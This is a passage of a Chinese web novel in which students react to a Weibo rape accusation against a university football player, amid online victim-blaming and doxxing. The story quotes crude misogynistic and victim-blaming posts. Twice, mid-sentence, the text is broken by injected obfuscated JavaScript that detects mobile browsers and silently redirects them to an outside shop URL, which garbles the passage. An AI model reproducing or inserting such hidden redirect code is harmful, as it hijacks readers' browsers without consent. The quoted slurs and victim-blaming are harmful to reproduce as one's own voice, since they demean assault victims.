解释的功夫,已经看到了最后几条,“我没关注过这个人,也是一个专门发北美地区投稿的博主吗?” “呃……这个人比较……”云决明搜肠刮肚了好几秒,也没找到一个合适的词,干脆把自己的电脑推了过去,“你还是自己看吧——先看这条,他先发了这条。” ——“ 今天真是大开眼界,瞧见一姑娘哭得一把鼻涕一把泪的说自己参加美国兄弟会派对被性侵了,学校不处理,觉得学校歧视自己,把自己当成跪舔洋人脚的支女对待,找那帮有事没事宣传仇男思想的脑残女权博主求助去了。卧槽,这下她们个个高潮,又跳出来叽里呱啦把那套什么‘甭管做到哪一步了,就是女生觉得不爽,说句不也叫强煎’的理论搬出来洗脑了。恕我在这里说句理中客的评价。不想被当成发泄欲望的母狗,你他妈当初别出国不就完了?出国被人强又来找国人帮忙,又当又立就是你呗。别怪美国警察懒得帮你,我都懒得帮你。被强煎了不会反抗吗?不会尖叫吗?那么多参加派对的人呢又不是在什么黑暗小巷,我看你别是享受的很,事后钱没拿够又在这儿bb,无非就是想找人帮你要钱呗。” 黎疏眠的脸色在刹那间变了。 就像是慢动作地看着一把锋利无比的刀倏地从刀鞘中抽出,整个甜品店里的气氛都变了,音乐仍然是甜腻的韩语歌,鲜花与可爱的摆饰依旧环绕着他们,但桌子旁的每个人都情不自禁地挺直了脊背,汗毛仿佛是打瞌睡时被教导主任叫起来的学生,站得笔直笔直又战战兢兢。黎疏眠的愤怒就像藏在惊涛骇浪下的古老海兽,只有一点点阴影与褶皱暗示它的存在,却还是难免让人心生畏惧。 “还有吗?”黎疏眠的声音很平静,听着就像龙卷风即将到来以前静止不动的田野,“评论区怎么说。” “评论区里有人问是哪所美国学校,他直接回复了U大的名字。这条评论目前是热度第一。”云决明说,“可能是评论区里问详情的人很多,他就转发了这个叫女王的第一剑的微博——我怀疑唐泽茹第一个求助的应该是她,她在微博上挺有影响力的,是个经常为女性权益发声的博主。” 他往上滑了滑,让黎疏眠瞧见了对方转发时带的话“让我懆这个女的,给一万美金我都嫌少了,看来美国人没那么挑剔。” 会长的脸色又难看了几分。她默不作声地点开了被转发的微博。这个博主把内容都放在了微博附带的长图里,正文里只发了一个呕吐的表情。 图片一开头就是猩红的大字标题: “被强煎了?没什么是一万美金解决不了的事情,带你瞧瞧全美top10大学U大的骚操作。” 云决明中午就看过一遍了,他知道往下的内容和投稿在北美吐槽君上的没有太大的区别,然而,可能知道在这个受众群几乎百分之一百由国人组成的微博里提到华裔会引起争议,唐泽茹很聪明没有提起这一点,纵观全文,没有一次提到强煎犯的身份信息,重点主要都集中在U大事后企图拿钱消灾的嘴脸上。 “强煎?没有的事,你被打折了骨头吗?你有无法修复的撕裂伤痕吗?你这辈子都会小便失禁吗?没有?没有能叫强煎吗?那叫自愿!” “敢起诉高贵的美国公民,遣返听说过吗亲?意思是我们拿了你的钱,伤了你的身体,完了还要踹你一脚,告诉你不闭嘴就得走!” “没有青液的强煎能叫强煎吗?又不会怀孕,多大点事?就不能当被狗咬了一口?现在狗的主人给你赔偿,你还不想要是不是?” “她这是打算说出实话了吗?”黎疏眠把图片来来回回看了好几遍,才开口,“她没有说强煎她的人是华裔。” “她是没在投稿里说,”云决明又点开了另一个网页,刷新了一下登录信息,“但是另一个博主,叫瞎说女权的,很快转发了这条微博,转发的时候——你看这里,她是这么写的:‘我这边也收到了投稿,对方把女王的微博截图给我看,告诉我受害人之前在北美吐槽君上就已经通过朋友求助了。然而,还没等微博被更多人看见,博主就把投稿删掉了。据悉,是因为在那篇投稿中透露了强煎犯的身份为华裔的缘故。’” “你觉得这个投稿是她发的?” “很有可能。”云决明把电脑拿了回来,准备在转发里找出她发的微博给黎疏眠看,“还有另外一个博主,叫陈海鸥的,在她自己的微博下单独发了这件事,呼吁看到的女生都去U大的脸书和推特上刷屏,让校方重视这件事,看到中国女性团结的力量,我猜这应该就是为什么那两天多了很多评论的关系——让我看看,瞎说女权……在这里,找到了,她放出了一张投稿的截图,你可以看看语气——” 他突然哑了。 在瞎说女权的微博主页上,第一条微博正文赫然写着。 “收到投稿,已经锁定美国名校强煎案嫌疑犯身份。” 59. Chapter·Six 云决明记得自己小学时曾经在作文里写过一句话。 “比死亡更可怕的,是挚爱的死亡。” 老师特意用红笔在这句话下画了波浪线,评语里亲切地写着,“你是个有诗意的孩子”。 如果那句话是真的,云决明心想,那么比愤怒更令人喘不上气的,是因为自己的挚爱而愤怒。 “怎么了?”艾登和艾莉立刻注意到了他和黎疏眠同时色变的表情,异口同声地发问道。一旦碰上这种需要上国内网站的事,他们两个就成了睁眼瞎,只能等云决明或黎疏眠事后再跟他们翻译。但云决明说不出话来,脑子里的多巴胺像冲上云霄后呼啸坠落的金达卡过山车,尖叫的声浪消失后,眼前只剩下荒芜衰败的残骸。他颤抖的手指移向图片,但不需要看完全图他也知道发生了什么事,“艾登·维尔兰德”这个名字就挂在图片的最上方,加粗加红,显眼无比。 “就在两个小时以前,我收到了一个女生的私信。 从那以后,我就一直在酝酿这条微博,因为我真的不敢相信我听说的事情。 我向对方再三确认了事情的真伪,对方也给出了足以令我信服的证据来证明她说的是真的。 现在,我可以确认,大家最近都很关心的那个女留学生参加派对却被性侵一事的嫌疑犯,基本已经锁定了。 艾登·维尔兰德 中美混血,父亲也为中美混血,母亲则是中国人,长相随母亲,绝对不会错认为美国人<> 此人是U大橄榄球队的四分卫,是该校的明星人物,据说去年他带领着球队在超级碗赛中取得的优异成绩,给U大带来了上千万美金的广告收入,橄榄球门票一度被炒上天价,一票难求。此时刚好是美国橄榄球赛季的开端,像他这种高校体育明星身上绝对不能有任何丑闻,否则会遭到禁赛处理,会使得U大损失惨重<> 此人所在橄榄球队的队长杰森·埃弗里,其父是约州洲际警察的老大,现已退休,但影响力仍在<> 此人爷爷那一边的祖先为早年从欧洲移民过来的老钱家族,在约州扎根多年,有钱有势<> 最重要的,也是最板上钉钉的铁证。 艾登·维尔兰德是派对上唯一的华裔男性,他也是那个兄弟会唯一的华裔成员。他的爷爷及爷爷的爷爷都是这个古老兄弟会的成员,他是被特邀入会的,地位很高。想在派对上随便下药带走一个女孩轻而易举,也不容易被人发现。 从受害人本身的证词来看,艾登·维尔兰德就是强煎犯的可能性有90%,不排除有其他男性混进了派对,偷偷下药带走受害人的可能性。 但是从受害人遭到侵犯后发生的一系列后续事件来看,艾登·维尔兰德就是强煎犯的可能性是百分之一百。 我说我不敢相信,是因为以我对美国这个国家稀薄的认识来看,一个华裔要当上一支明星球队的四分卫,这个几率是万中无一的,看见一个原本可以成为下一个橄榄球界林书豪的华人竟然做出这种禽兽不如的事情,我非常愤慨。 这件事也提醒各位姐妹,不管一个男人的地位如何,出身如何,受教育程度如何,经济状况如何,都不能成为衡量这个人道德程度的标杆,无论在何处,无论在何时,能保护你的,只有你的警惕和谨慎。 在这个世界,为女实属不易。请大家都为这件事尽一份力。我稍后会整理一下私信,找一些对方同意我放出来的内容发上来给大家看看。这位女生很担心会被维尔兰德家报复,因此千叮咛万嘱咐我不能将她的真实身份信息透露,我一定要取得对方同意才行,请大家稍安勿躁。” “到底发生了什么事?” 云决明刚看完图片,艾莉就忍不住又问了一遍,“你和疏眠看上去就像刚从鬼片拍摄现场出来——还是带着妆的那种。” 艾登倒是难得的比他的妹妹更冷静,或许在这种事情是总是皇帝不急太监急,“告诉我,Ming。”他低声说,浅棕色的双眼像古老森林朦胧的剪影,闪着令人心安的光,“不管她做了什么,告诉我。” “我不能确定这个投稿是唐泽茹发的,虽说这条微博是国内时间凌晨两点发的,”他心中叫嚣着发稿的人就是她没有错,但理智却觉得有哪儿说不通,一句话说得干涩无比,好似喉头被蜜蜂蛰肿,“但你是嫌疑犯的事已经泄露了出去——” “如果这是唐泽茹拿小号爆的料,那可就有意思了。”黎疏眠从笔记本电脑前抬起头来,她嗓音仍然平静,听在耳朵里的感觉,就像在抚摸覆盖砂砾的冰雕一般,“她很清楚怎么说才能引起这类专门为女性权益发声的博主的关注,引得她们为自己愤慨发声——孤苦伶仃,独身在外的女留学生;仗势欺人,涉嫌种族歧视的校方;还有典型有权有势,随意在大学里骚扰女生的兄弟会成员。她不去公关,可惜了。” 艾莉一言不发,只是劈手夺过云决明手上的电脑,手在触摸板上飞快跳跃,云决明瞥了一眼,发现她是在把照片保存下来,拖到翻译软件里翻译。她现在多半很后悔小时候没听奶奶的话,去上中文学校。他心想,不然现在就能轻易看懂图片上说了什么,也能领会到翻译所不能体现的语气。 “她根本不知道她在干什么,”黎疏眠手指轻扣着桌面,她的怒气化为了实质,在她眼里如冬天来临的大地,逐渐冰封一切,“她根本不懂,如此滥用那些女性权益博主的善意,号召力,还有舆论的力量,会有什么后果——从此以后,如果还有别的中国女留学生在海外遭到了侵犯,就不会再有人轻易相信她们的话了,不会有人凭着一腔热血就站出来维护她们,取而代之的就是像那个什么种太阳,还是种月亮的博主,肆无忌惮地在她们被赤条条撕开的皮肉上跳舞,还嫌蘸着痛苦和耻辱流出的鲜血沾了他们粪做的鞋子。她这是在玩火,而她根本没有操控火的能力,我们谁也没有。” “我现在更关心的是,”艾登开口了,他刚才跟艾莉一起匆匆扫了几眼翻译后的图片,“这个投稿人所有的板上钉钉的证据是什么。如果是与玛丽安的录音的话,我已经向她再三确认,她没有在谈判时提起我的名字,只用Asian American来替代。在这种至关重要的大事上,她应该不敢撒谎,也不至于犯这类低级错误。” “这里说了,板上钉钉的证据是对方确认了你就是派对上唯一的华裔男性。”云决明看了一眼电脑,发现讲到证据的那一段翻译得乱七八糟,词不达意,怪不得艾登没看懂意思。 “如果这是唐泽茹自导自演的投稿,那我不明白她为什么要强调这一点,”艾登说,“因为她误会过这一点,而我特别向她强调了,这个派对上还有另一个华裔男性,就是Ming。她怎么能肯定没有别人看见Ming呢?她怎么能肯定她一口咬定那场派对上只有一个华裔男性这一点不会被戳穿?” “但我马上就走了,”云决明说,“她也许看到我离开了,就笃定这场派对上只剩下你一个华裔男性。” “但她怎么知道那是你呢?”艾莉马上发问了,“那时是晚上,光线那么昏暗,仅凭一个背影,她怎么能肯定走的就是你?” “因为我——” 突如其来的宁静,所有人都等着他说出接下来的话。在突然袭来,毫无征兆的眩晕中,云决明与艾登交换了一个长长的,意味深长的眼神,他甚至没有打算在自己的目光中注入什么信息,只知道艾登完全领会了他的意思——有时候,他们之间就会有这样不必言说,仿佛生来就具有的本能和默契,犹如两个多年一同联系,灵与肉早已完全融合在一块的芭蕾舞伴,每次一想到将来会有一个女人取代他的位置,能从微微一笑中读出所有艾登想要表达的意思,他的心就会多一道无比细小,又无比疼痛的伤口,这种折磨反而对云决明来说是一种安慰,至少此刻没人能比他更了解艾登。 “你们两个能用视线敲摩斯密码沟通还是怎么地?”艾莉没好气地开口了,“‘因为我’什么,你倒是说啊!” “Ming那天开走的是我的车。”艾登沉声说,他移开了双眼,看向黎疏眠,“你还记得吗?那天是你把Ming送过来的,他之后不舒服,想赶紧回去,我没让他搭乘优步,而是把我的车钥匙交给了他——而且,那天,我怕Ming冷着,还把我的外套披在了他的身上。” 艾莉和黎疏眠都没说话,显然还没领会到他们想要表达的意思。 “同时,生日派对那天晚上,我为了找借口中断和唐泽茹的对话——其实也不算借口——我告诉她我马上就要离开了。” “这么一来就说得通了!”黎疏眠失声道,“她听了你这么说,又看见Ming穿着你的外套,开着你的车走了,她就以为你已经离开了——” “所以她打算诬陷的是Ming?”艾莉愕然地瞪大了眼睛,“不过,我也觉得这个猜测更加合理,我一直想不通为什么她不直接说出艾登的名字,毕竟,如果她记得侵犯自己的是华裔,直接说出对方是谁难道不是能更好的达到她的目的吗?如果她从一开始想要诬陷的就是Ming,那这么说就很正常,因为Ming在U大就是一个默默无闻的路人甲,她能认出他是谁就怪了。” “这么说的话,这篇投稿就不可能是唐泽茹发的,”黎疏眠沉吟道,“当然,这一点还是要看这个博主后续发的私信微博,才能确定这一点。但是,如果这篇投稿不是唐泽茹发的,那就证明这件事已经彻底脱离她的控制,向一个她之前根本没有料到的方向发展了,换句简练点的话说,就是她玩火焚身了。” “她八成是被性侵以后才想出这个计划的,在那种情况下,我觉得她还能有一点理智,能够想出一个像样的计划,已经很了不起了。”艾莉撇了撇嘴,“但我想不通她为什么要诬陷Ming,这对她来说有什么好处?Ming跟她无冤无仇,甚至都没跟她说过一句话——除非她觉得艾登会因此觉得很愧疚。” “我之前就怀疑她可能患上了被爱妄想症,现在几乎能肯定这一点了,”云决明说,“她极有可能是把我当成了一个需要清除的对手,所以才会不遗余力地想要抹黑我,也许她认为,如果艾登知道我是个强煎犯,就不会让我继续跟他做室友了。我之前也有过疑虑,因为被爱妄想症的患者通常不会这么主动,而且锲而不舍地攻击自己妄想的对象。” “即便我已经那么严肃地警告过她我非常厌恶她了?”艾登有点吃惊。 “是的,”云决明点点头,“通常来说,如果妄想症患者妄想的对象伤害了他们,他们只会把这种伤害解读为一种保护性的行为——比如妄想自己与明星相爱的女生通常会把明星不回复私信这种举动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041236|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解读为‘他不回复是为了保护我,不想让他的粉丝觉得我之于他很重要,很特别,害怕他的粉丝会伤害我’。但我当时只以为自己判断错了,唐泽茹可能没有患上这种心理疾病,没多想。” “你不该怀疑你的心理学天赋,Ming。”艾登柔声说。 “既然我们现在已经能肯定唐泽茹想要污蔑的就是Ming——”“现在还不能百分之一百的肯定,还要看后续会不会有更多证据出现,”艾莉的话被黎疏眠打断了,“现在只是偏向陷害对象是Ming的证据更多,建立在这个基础上的故事更符合逻辑,但不能马上就排除唐泽茹想要陷害艾登的可能性,毕竟,就像你说的,她当时可能处于一个很混乱的状态,想出的计划也没有那么高明,甚至可能她去报警的时候都没有想好自己要诬陷谁。艾登,你能确定在你和唐泽茹谈话以后,她就离开了兄弟会宿舍吗?如果她想方设法留下了,她有可能就会看见你与杰森的斗酒,发觉你实际上留下来了。” “我不能确定这一点。”艾登摇了摇头,“我已经不记得那天晚上发生的事情了,但我可以试试旁敲侧击地问问那些兄弟会新人有没有按照我的吩咐去做。” “那我们现在该怎么办?要怎么才能证明我哥哥是清白的?”艾莉语气有点焦急,“我们可以也向这些博主投稿,说出事情的真相吗?” “我觉得这个计划可行,但不能现在就用。第一,我们要先搜罗参加了派对的女生的证词,证明艾登那天喝醉了以后就被人抬到楼上休息了,根本没有机会也没有可能实行强煎。这些证词必须得实名提供,不然一定会被人怀疑那是假造的聊天记录或录音——” “这个可能有点难办,”云决明插话了,“你也知道那些华人微信群现在是怎么看待艾登的那场生日派对的,本来留学生圈子就很小,这么一来,很多女孩肯定不愿意站出来作证,免得让别人自己知道自己去了那个派对。” “你说得对,这件事得暂缓,现在,任何站出来说自己去过那个派对的女孩,都会立刻被华人社区荡|妇羞辱——你想不到那些男人能说出多么恶心的话,更恶心的是有一群女人还会为他们的言论拍手叫好” “我有时真不知道那些男的心里在想——”艾登深吸了一口气,眉毛因为厌恶变成了两条打成死结的绳子,“算了,我的身份不好多说,我以前评价过某些过来留学的华人男性,结果被倒扣上了一顶歧视大陆人的帽子,我那时甚至都不知道‘大陆人’是什么意思。” “先别说这些没用的了,”艾莉打断了艾登的话,“假设——我仅仅是假设——假设唐泽茹想要陷害的是Ming,知道这一点能有什么帮助吗?” “如果她想要陷害的是我,那么她的故事的可信度就下降了很多,”云决明说道,“整件事是她自导自演的可能性很高——从这一点来说,可以解释她为什么表现得一点也不像一个刚刚遭受了性侵的女孩,很少有受害人能在遭到侵犯的第二天早上就去报警,她们会经历一个长达好几天,甚至好几个月的应激期,因为突如其来的创伤而进入歇斯底里的精神状态,或者不敢相信发生了什么而精神混乱,也有一部分人会假装无事发生。等应激期过去以后,她们才会想起讨回公道这件事。我之前一直没有提出这个质疑,是因为我不想用这些心理学上的理论去贸然断定一个女孩绝对没有遭受性侵——我现在也没有排除这个可能性,毕竟她确实有医院的验伤报告。” “所以,这也是一个可以入手的方向,通过证明唐泽茹撒谎来洗清艾登的罪名。”黎疏眠说。 “但我们必须很小心,”艾登说,“现在,唐泽茹抢占了舆论高地,我们如果不能拿出铁证如山,无法辩驳的证据来证明这一点,只会被别人视作是有钱有势的富家子弟找人清洗名声来了。同理,我现在也没法再去找唐泽茹谈谈了,如果她的目的就是要借这件事摧毁我的名声和运动生涯,那她应该巴不得我去找她——她可以故意事先在身上伪造出伤痕,等我到了再报警,说我对她进行了肢体上的暴力行为,不说会不会逮捕我,至少她申请到一张限制令是没问题的。有了限制令,她的故事就更加令人信服了。” “怎么?”艾莉愕然地看着她的哥哥,“你的意思是,打算就这么坐以待毙地等着她彻底把你的生活给毁了?” “艾登的意思是,现在我们只能选择自证,不能主动反击。”云决明说。其实这跟证明肯尼的清白一样。想要证明一个人没有犯下一桩案件是非常困难的,最好的办法就是通过别的案件抓住真凶,利用真凶的口供来推翻对肯尼的指控。“而自证是需要时间的。” “这就是所谓的造谣一张嘴,辟谣跑断腿,”黎疏眠说,“而且,我猜,唐泽茹下一步应该就要泄露学校拿走了证实强煎发生的几样证据,她的手机,那条内裤,还有安全套的袋子,并且把它们都销毁了。这件事会极大地激起人们的愤慨,一段时间里,舆论将会完全站在她那一边。这种时候,艾登不管站出来说什么,做什么,都是错的。所以,我也同意,艾登确实只能坐以待毙,同时暗中调查这件事,能拖一会是一会。” “她不遗余力地诬陷Ming,艾登被她连累得名声不保,结果我们还得忍气吞声地看着她作妖,”艾莉冷笑一声,“我看这世界上没有比这更讽刺的事了。” 60. Chapter·Seven 云决明回到家以后,又点开微博看了看。 瞎说女权爆出艾登极有可能就是强煎案嫌疑犯的那条微博下,已经有人放出了艾登的照片——穿着正式西装的艾登站在家中的楼梯前,脸侧望着墙壁上悬挂着的相框,锋影清隽,眉压星河,笑意柔软。云决明认出这是在艾登参加高中毕业舞会那天晚上由艾莉拍的,艾登很喜欢相片上的自己,把它设置为了脸书的头像。 云决明突然有了不好的预感。 艾登的Instagram,脸书,还有推特一直都是开放的,上面有上百张他的自拍,随便谷歌一下他的名字都能找到。实在不知道“维尔兰德”怎么拼写,搜“U大,四分卫”也能找到。 “艾登,我在想——” 他叫住了正开心地和大狗抱成一团的男孩。 “嗯?”艾登回过头来,灯光一下子落进他双眼里,照得像两块澄澈的琥珀,那么好看,“怎么了,Ming?” “我在想,也许你应该关闭你的社交账号,”云决明没有把握地提议着,斟字酌句地挑选着自己接下来要说的话,“我怕有些极端的网友会涌进你的账户,评论一些非常难听的话——说的多了,甚至可能会吸引八卦小报的注意,对你不利。” “你觉得这么做最好的话,我相信你,”艾登耸了耸肩,非常自然地把手机从裤兜里掏了出来,递给了他,“反正我现在要专心在比赛上,根本没时间打理社交账户。你来帮我弄弄吧,我得去做饭了,那些账号我都设置了自动登录,不需要输密码。” 艾登的态度云淡风轻,就像这根本不是什么了不得的事。云决明愣了愣,才从一瞬间心脏猛颤的眩晕中回过神来,伸手把手机接了过来。 “开机密码是什么?”他问道,嗓子有点嘶哑。 “我们搬进公寓那一天的日期,”艾登说,转身向楼上走去,留下云决明站在原地,捧着那手机如同捧着库里南钻石,“你顺便把你的指纹也录入进去吧,这样以后不管干什么都很方便。” 云决明过了很久,才从这犹如一张不限额现金支票般的信任所带来的幸福中晕乎乎地走出。 “你最近好像胖了一些?”吃饭的时候,艾登突然开口说道,他今晚做了咖喱炒蟹,菠萝炒饭,清炒蔬菜,还有黄油香蒜煎比目鱼,香气浓厚地郁结在整间公寓里,直往人鼻尖里钻,云决明吃了一碗饭不够,又去装了一碗。听见艾登这么说,他心下一惊,赶紧放下了筷子,“我胖了?” “嗯,”艾登赞许地点了点头,“但我觉得你胖点更好看——今天下午我注意到疏眠似乎老在打量你,这会注意一看,果然觉得你的脸圆润了一点,显得更帅了,怪不得呢。” 黎疏眠就坐在自己对面,那她当然每次抬头都会打量自己了。云决明暗暗在心中腹诽着,又拿起了筷子。虽说艾登有可能是在吃醋,但听见他这么说,云决明不知不觉又多吃了一点,满满四大盘菜,他和艾登竟然一顿就全部吃的干干净净。 吃完饭,收拾好厨房以后,云决明得空又打开了微博——既然他已经关闭了所有艾登的社交账户,他看着手机上的开屏广告,心想,那些网友应该没法扒出更多艾登的照片了 他已经关注了瞎说女权,因此打开app后,首页出现的仍然是她那一条指控艾登的微博,然而底下一下子多了上百条评论。他忐忑不安地点了进去,祈祷千万不要都是叫嚣着让艾登不得好死,要求将他物理阉割的言论——随即,他就发现,多出的那上百条评论,实际上全都集中在发出艾登照片的回复下,他往下一拉,发现全都是花式尖叫,大发花痴,及求原图的网友,似乎已经没人记得在顶上那张图片里,艾登的大名是跟“强煎犯”这三个字联系在一起的。他甚至还找到了愿意把自己献给艾登,觉得唐泽茹被强煎实际上赚大发了的女孩。 这种有颜即是正义,以及非常开放地在网络上表明自己欲望的态度,倒是让云决明挺吃惊的。 事实证明,他关闭艾登社交账户的举动,没能阻止网友找到更多艾登的私人照片,云决明在微博上搜索艾登的名字时,甚至看见有人上传了球迷拍摄的视频——视频里的艾登比照片上英俊百倍,虽然头发被吹得纷乱,反而更显帅气。他正准备在球迷递过去的橄榄球上签字,偶尔抬眼一微微一笑,虽然风声嘈杂,但仍然能清晰地听见他低沉性感的声音响起,“你想要我在这里写什么?献给我的热辣小野猫?我可不能这么写,你未来的男朋友会吃醋的——这样吧,我写,献给我见到的最可爱的女孩,任何拥有你的男人都是这个世界上最幸运的人,怎么样?” 就这么一个视频,等云决明看到的时候已经被转发了上千次,评论里全是想要送他出道当明星,沉醉在他的颜值中无法自拔的女孩们。鼠标一拉,满屏的“啊啊啊啊啊啊”。 还有人动作迅速地扒出了艾登放在社交网络上的其他资料,详详细细地列举了出来,云决明从前还不觉得,这会一看,才发现艾登的个人条件简直苏到了一个不真实的地步,家世显赫,英俊多金,从小就有超乎常人的运动天赋,为人随和温柔,浪漫文艺。他随便点开一条微博去看,评论都是质疑“这样美好的男生真的存在吗?”的女生。 那天晚上,等他准备睡觉的时候,已经有好几个微博营销号声称自己将专注于搬运更多与艾登有关的照片,个人信息,以及社交媒体状态,粉丝一晚上涨幅近千个。而瞎说女权的粉丝数量几乎没变过,那条指控艾登为嫌疑犯的微博,也不过才有两百来条转发。 放心不下,生怕一觉睡起来,网络上的舆论会更加失控,左想右想,云决明到底还是给黎疏眠打了个电话,问问她打算怎么办。 “好吧,我倒是没有料到艾登在被扣上了‘疑似强煎犯’的罪名以后,还能有那么多女孩无视这一点,愿意成为他的脑残粉。”黎疏眠说道,“但这也有一个好处,如果声援艾登的声浪——哪怕声援他只是因为他脸长得好看——大于指控艾登的声浪,也许我们可以说服一小部分女生站出来为艾登作证。但在唐泽茹爆出学校把最关键的几样证据拿走销毁以前,我们什么都不能做,必须等她把这张最大的王牌丢出以后再反击。现在只能看看舆论会发酵到什么程度了。” “所以说我们还是什么都做不了?”云决明有点失望。 “这距离我们见完面才过去了几个小时啊,”黎疏眠听着似乎觉得他的话有点好笑,“怎么可能事态在几个小时内就有了翻天覆地的逆转?你还是早点休息吧,这件事,你急也没有用。就像我先前说的,舆论是一把双刃剑,没有谁能有掌控它的力量,我们试图插手,有可能只会反过来被刺伤一刀。记得让艾登关闭他所有的社交账号,不然很快就会被迷妹们占领了。” “我已经这么做了。” “那就好。还有,云决明——” “嗯?”他听出了会长的欲言又止,黎疏眠说话从不吞吞吐吐,云决明眉头微微一皱,“怎么了?” “我知道这不管我的事——但我还是想说几句无关的话。”黎疏眠的声音低沉了几分,“还记得我以前跟你说过什么吗?你要学会在自己受伤以前及时放手。你把艾登看得太重了,他是当事人,但他在意这件事的程度甚至还不及你的万分之一。把一件得不到的东西当成自己的全世界,有一天你会发现一切都随着他的离开灰飞烟灭,什么都剩不下,朋友,家人,生活,工作,统统都没了,我不希望看到你有一天沦落到那种地步。” 黎疏眠的声音听着非常真诚,云决明知道她是以一个朋友的身份跟自己说这些话,他也很清楚她的话是对的。但恐惧压倒了理智,云决明不想回应她的这段话,更害怕去思考她的这段话,他宁愿当一只鸵鸟,这样,在摧毁世界的沙尘暴最终将他撕扯得血肉以前,他还能苟活一段时间。 “晚安,黎疏眠。”他只回了这么一句话,就干脆地挂断了。 他刚放下手机,就听见自己门外咣当响了一声。 也许是洛克希吧,云决明心说,没有多想。 他这天晚上睡得非常不踏实,总是梦见自己翻身拿起手机,看见艾登因为强煎罪而被抓捕的新闻。等到早上五点多的时候,他迷迷糊糊地醒来了,几乎是下意识地就抓起了手机,惊慌失措地要看看新闻是不是真的——直到他因为手机屏幕刺目的光线眯起眼睛,云决明才隐约分辨出梦境与现实的区别,犹如在漆黑森林里辨认出模糊的小路,他顺着稀疏的痕迹跌跌撞撞地爬入了将逝的夜色,整间房间笼罩在宁静的紫色晨雾中,云决明砰砰狂跳的心脏慢慢地松弛了下来。 但他已经睡不着了,索性就点开了微博,想看看瞎说女权有没有发新的微博。 这个账号的行动力比云决明想象的要高很多,她不仅放出了证据,甚至还针对艾登突然凭空在微博上靠着脸火起来的事点评了好长的一段话,来不及去看她说了什么,云决明直奔图片中的证据部分—— “就在我征得投稿者的同意,可以将厚码后的证据放出来展示给大家看的时候,我收到了一条很奇怪的私信。 对方只是给我留了一句话: “艾登不是那场派对上唯一的华裔男性,他很早就离开派对了。” 之后,无论我再怎么给她发私信,对方都不再回复我了。 目前,我还不能确定这是不是艾登的颜控粉试图洗白他的做法,我个人认为,还是投稿者呈现的证据更有说服力,更确凿。 因此,不管那些艾登的颜控粉到我这里来洗多少次地,我还是坚持我的结论,请你们不要再白费力气了。 以下是证据。” 下面是拼接在一起,只截取了对话部分的WhatsApp截图。看内容,是投稿的女生在询问另一个人派对上有多少个华裔男性,结合上下文来看,与这个女生对话的应该是兄弟会的成员之一,这两个人可能是在派对上认识的。 他非常肯定地给出了“只有艾登”的答复。 不仅如此,他还反过来向那个女生解释了一通,说杰森举办的派对能请中国女生过来玩就已经很不错了,绝对不可能邀请男性。除了艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041237|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登,这个世界上其他少数族裔在杰森眼里跟害虫没什么区别,他经常趁艾登不在的时候大放厥词,说要是中国那么多人口全都从世界上消失,那么有许多由人口过多引起的环境问题就能迎刃而解了。末了,还不忘往他自己脸上贴金,说他的想法与杰森完全不同,他一直都非常向往神秘的东方国家,以及从这个国家中走出的美丽女子——云决明真心希望投稿的女孩没有被他的谎言欺骗,从艾登根本不让艾莉接触到兄弟会里的成员这一点,就能看出那里面根本没有一只好鸟。 在这之后,投稿的女生问出了最致命,也是最关键的问题——“艾登那天晚上有没有可能把一个女孩带到了他的房间里去?” 而对方回答:“我想是的。后来去收拾艾登房间的兄弟会新人发现了一台手机,套着粉红色的手机壳,应该是属于一个女生的,他们把手机交给了学校的保安。” 现在,他已经可以完全肯定,唐泽茹当初想要陷害的就是自己,那条没头没尾的私信,多半就是她发的——大约是因为没想到竟然会有人指名道姓地直接把艾登指认为嫌疑犯,唐泽茹慌了。但她又没法证明自己的话,就像云决明他们四个人先前推理的那样,要是她能认出对方并不是艾登,那么就不会仅仅“认出对方是个华裔”。她在谎言这条路上已经走了太远,不可能再跨越她当中撒的上百个谎,去圆她最初撒的那一个。 然而,对艾登来说,手机这个证据,却是致命的。 即便那台手机已经被U大销毁了,但是开着定位服务的iPhone会详细记录下这部手机去过的每一个地方,包括停留了多久。只要唐泽茹请求苹果员工的帮助,调出她手机曾经的定位,就能证明那台手机的确是她的,也能证明她曾经去过艾登所在的那个房间。 云决明的心凉了半截。 他提心吊胆地点开了评论区,原本以为会看见清一色的“板上钉钉了”“这下可以彻底确认了”“艾登就是强煎犯”这一类的回复,谁知被顶在评论区前三条的回复都是辩驳这条微博的网友—— “疯了吧,艾登用得着强煎这样的女生?别笑死我了。那个手机有可能是之前别人掉在宿舍里的,又不一定是她的。” “这样的聊天记录我可以给你伪装出一沓出来,这根本说明不了什么好吗?还什么板上钉钉的铁证,我裤子都脱了你就给我看这个?” “指路@艾登的小迷妹,已经扒出了唐泽茹的照片和黑历史,这个女生就是个满口谎言的装逼婊。” 已经扒出了唐泽茹的照片和黑历史?云决明吃了一惊,他入睡时是晚上十一点,到现在也才过去了六个小时,这些女孩的速度怎么这么快? 他赶紧点进了“艾登的小迷妹”的主页。 这大约是个新建的账号,但已经有数千人的关注量, 大概是为了方便“路人网友”——这个新词也是云决明从评论区里学到的——跟进事态的最新进展,这位“艾登的小迷妹”直接把那条扒皮唐泽茹的微博置顶了,里面几乎都是Instagram页面的截图。云决明按照上面给出的用户名去搜索,却发现唐泽茹已经把她的账户设为私密了。 但她显然设的不够快,那条置顶微博里截了四十六张Instagram账户的截图,唐泽茹设为私密的账户也刚好有这么多张图,倒真是被扒的彻底。 